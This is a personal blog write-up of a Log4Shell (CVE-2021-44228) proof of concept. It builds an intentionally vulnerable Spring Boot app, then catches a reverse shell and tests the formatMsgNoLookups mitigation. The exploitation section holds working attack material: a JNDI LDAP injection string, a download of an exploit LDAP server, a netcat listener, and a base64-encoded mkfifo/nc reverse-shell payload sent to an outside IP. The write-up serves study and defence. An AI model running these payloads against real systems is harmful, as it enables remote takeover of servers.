CVE-2021-44228 log4j2 exploit PoC

This week has been busy in the world of cybersecurity because of a vulnerability found in log4j2, a popular Java logging library, nicknamed “Log4Shell”.

As with my other posts, this is in no way an experts’ analysis, and is here to showcase my understanding on a topic or two, and to improve my technical writing skills. For this writeup, I am building a simple Java application that is vulnerable to Log4shell, write an exploit for it and catch a reverse shell, then test the known mitigation for the vulnerability.

The vulnerability

The vulnerability is tracked under CVE-2021-44228 and has a CVSS 3.1 Score of 10.0. It caused a lot of noise in Twitter and some panic amongst defenders, and understandably so: the vulnerability allows an attacker to use any input that goes through a vulnerable application’s logging system to execute arbitrary commands. It affects all log4j2 versions from 2.0-beta9 to 2.14.1. A release has been fixed on version 2.15.0, however it was incomplete, hence the additional vulnerability CVE-2021-45046.

lookups and JNDI

log4j2 supports a mechanism in Java called lookups, which allows a developer to put values in arbitrary places. For example, a developer who wants their Java application to log JVM details has to write something like Starting application with Java version: ${java:runtime}. This code would then print OpenJDK Runtime Environment (build 11.0.13+8) from Oracle Corporation in the logs.

As you can see, the feature itself is not inherently bad. However, there is one feature supported by lookups in log4j2, which is JNDI, which allows the Java application to fetch objects from other locations and load those objects.

JNDI itself has nothing to do with log4j2, and there was actually an interesting talk at BlackHat where security researchers presented JNDI, specifically the LDAP and RMI protocols support, as an attack vector.

Still this is not inherently bad, however, if an attacker controls the string in the lookup, and there is no form of sanitization before processing the lookup, then this would provide the attacker with a way of loading instructions from arbitrary locations.

Vulnerable Spring Boot application

One of the most famous Java web frameworks, Spring Boot, is one of the impacted applications by this vulnerability. It is vulnerable through spring-boot-starter-log4j2 version 2.6.1. A future release that would contain the fixed version of log4j v2.16.0 is expected to be released with spring-boot-starter-log4j2 version 2.6.2 due 23. December 2021.

To demonstrate this vulnerability, I created a simple Spring Boot application which can be found here. Credits: this Spring Boot application has been shamelessly patterned from this repository.

Visualizing the dependency

The dependency to the vulnerable log4j version can be nicely displayed with ./gradlew dependencyInsight --dependency log4j-core:

> Task :dependencyInsight
org.apache.logging.log4j:log4j-core:2.14.1 (selected by rule)
   variant "compile" [
      org.gradle.status              = release (not requested)
      org.gradle.usage               = java-api
      org.gradle.libraryelements     = jar (compatible with: classes)
      org.gradle.category            = library

      Requested attributes not found in the selected variant:
         org.gradle.dependency.bundling = external
         org.gradle.jvm.environment     = standard-jvm
         org.gradle.jvm.version         = 11
   ]

org.apache.logging.log4j:log4j-core:2.14.1
\--- org.springframework.boot:spring-boot-starter-log4j2:2.6.1
     \--- compileClasspath

A web-based, searchable dependency report is available by adding the --scan option.

BUILD SUCCESSFUL in 2s
1 actionable task: 1 executed

The vulnerable Java class is as follows:

package io.pidnull.log4shell.log4shellpoc;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

@RestController
public class URLsController {

    private static final Logger logger = LogManager.getLogger("log4shellpoc logger");

	@GetMapping("/")
	public String slash() {
		return "Hello from vulnerable app! The vulnerable endpoint is /api: just send your payload as your user agent!";
	}

    @GetMapping("/api")
    public String slashapi(@RequestHeader("User-Agent") String ua) {
        logger.info("User agent used was: " + ua);
        return "GET request to /api is successful.";
    }

}

In particular, the following function handles requests to /api and then logs the user agent string:

@GetMapping("/api")
public String slashapi(@RequestHeader("User-Agent") String ua) {
    logger.info("User agent used was: " + ua);
    return "GET request to /api is successful.";
}

The repository contains a Dockerfile which contains 2 sections, the first one being:

FROM gradle:7.3.1-jdk17 AS builder
COPY --chown=gradle:gradle . /home/gradle/src
WORKDIR /home/gradle/src
RUN gradle bootJar --no-daemon

This creates an intermediate container which builds the Gradle project and generates a .jar file, which is then deployed by the second one:

FROM openjdk:8u181-jdk-alpine
...
EXPOSE 8080
RUN mkdir /app
COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
CMD ["java", "-jar", "/app/spring-boot-application.jar"]

This approach nicely shows actual application builds work, wherein one step is for building and packaging the application into a redistributable Zip-format such as a .jar file (sometimes a .war file), and another step responsible with deploying the redistributable file.

You might have also noticed that I am using 8u181. This is because JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not impacted by the LDAP attack vector, which I will perform below.

Exploitation

To run the PoC application, all that’s needed is Docker (or podman):

docker run --rm -p 8080:8080 --name log4shell-poc-app ghcr.io/guerzon/log4shellpoc:latest

Alternatively, clone my repository and build the image yourself:

git clone https://github.com/guerzon/log4shellpoc
cd log4shellpoc
docker build . -t log4shellpoc
docker run --rm -p 8080:8080 --name log4shell-poc-app log4shellpoc

An HTTP call to http://localhost:8080/api would trigger the logging code to write the user agent to the logs. When accessed via Firefox, it will write something like this:

2021-12-17 14:37:56.207  INFO 1 --- [nio-8080-exec-4] log4shellpoc logger                      : User agent used was: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Of course, a user can manipulate their user agent, so to execute a lookup:

curl http://localhost:8080/api -H 'User-Agent: ${java:runtime}'

This results in the Java runtime environment information being expanded and written to the logs.

RCE

As an attacker, it’s always fun popping shells. There are 2 important requirements in turning this vulnerability from printing variables into RCE for host takeover: (1) being able to control an input that is fed into a logging code, which we showed above, and (2) being able to load remote instructions from an arbitrary location which the attacker controls.

The second one is achieved with the help of JNDI’s support for multiple protocols for remote lookups, such as ldap. An exploit code would then look like this:

${jndi:ldap://attacker.malicious.url/a}

Flow:

JNDI Injection

To set up our malicious LDAP server for injecting a malicious Java class, we can use this project. However, while finalizing this writeup I found out that that project has already been taken down. Thankfully, Archive.org got us covered:

wget 'http://web.archive.org/web/20211211031401/https://objects.githubusercontent.com/github-production-release-asset-2e65be/314785055/a6f05000-9563-11eb-9a61-aa85eca37c76?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211211%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211211T031401Z&X-Amz-Expires=300&X-Amz-Signature=140e57e1827c6f42275aa5cb706fdff6dc6a02f69ef41e73769ea749db582ce0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=314785055&response-content-disposition=attachment%3B%20filename%3DJNDIExploit.v1.2.zip&response-content-type=application%2Foctet-stream' -O /tmp/JNDIExploit-1.2-SNAPSHOT.jar

After downloading the .jar file, run it on our LDAP host with the reachable IP address.

java -jar /tmp/JNDIExploit-1.2-SNAPSHOT.jar -i 139.177.179.222 -p 8888

This will spawn 2 services: 1 on port 1389 for the LDAP service and 1 on port 8888 for an HTTP service which will serve the malicious class it creates from the payload we pass it to.

Also start the netcat listener to catch our reverse shell:

nc -lvnp 4445

Payload

For our payload, we want to use a simple Bash reverse shell. We are also using the same host as our LDAP server, and we will tell it to connect to port 4445:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.177.179.222 4445 >/tmp/f" | base64 | sed 's/+/%2B/' | tr -d "\n"; echo

This will return a Base64-encoded string. Finally, send this payload as the user agent string:

curl http://localhost:8080/api -H 'User-Agent: ${jndi:ldap://139.177.179.222:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgcG9jLnBpZG51bGwuaW8gNDQ0NSA%2BL3RtcC9mCg==}'

Result

When done properly, we should have received the reverse shell in our netcat listener:

Mitigation

The published migitation for this issue is to add "-Dlog4j2.formatMsgNoLookups=true" to the system property. In the Dockerfile, this can be done with:

CMD ["java", "-Dlog4j2.formatMsgNoLookups=true", "-jar", "/app/spring-boot-application.jar"]

This seemed to work:

Bookmarks

Updated: